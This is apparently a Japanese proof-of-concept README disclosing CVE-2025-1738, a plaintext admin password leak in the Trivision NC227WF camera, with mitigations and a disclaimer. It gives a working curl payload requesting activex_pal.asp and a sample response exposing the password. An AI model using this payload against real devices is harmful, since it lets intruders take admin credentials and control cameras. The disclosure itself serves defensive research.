CVE-2025-1738 - Trivision Camera NC227WF PoC

📋 概要

責任ある開示に従い、公式のCVEが2件割り当てられました。

🔍 CVE-2025-1738 — 平文パスワードの露出 (CWE-598)

説明

認証を必要とせず、ローカルの任意のユーザーが管理者パスワードを平文で取得できます。

• 攻撃ベクトル: ローカル (AV:L)
• CVSSスコア: 6.2
• CWE: CWE-598 (機密のクエリ文字列を伴うGETリクエストメソッドの使用)

ペイロード

curl -u admin:whatever http://<CAMERA_IP>:<PORT> --request-target en/player/activex_pal.asp

応答例

...password=unguessable123!...

管理者パスワードは、レスポンス本文内で平文のまま返されます。

🛡️ 緩和策

• ファームウェアをアップグレード：Trivision からパッチ済みバージョンが提供されている場合。
• カメラを専用VLANに隔離し、外部からのアクセスを遮断する。
• ファイアウォールを使用して、カメラの管理ポートを信頼できないネットワークセグメントから保護する。
• デフォルトの認証情報を変更し、パスワードを定期的にローテーションする。
• activex_pal.asp および mblogin.asp への不審なアクセスを監視する。

📚 参照

• NVD — CVE-2025-1738
• NVD — CVE-2025-1739

⚖️ 免責事項

このリポジトリは、教育および正規のセキュリティ研究のみを目的としています。著者はいかなる誤用についても責任を負いません。デバイスをテストする前に、必ず明示的な許可を取得してください。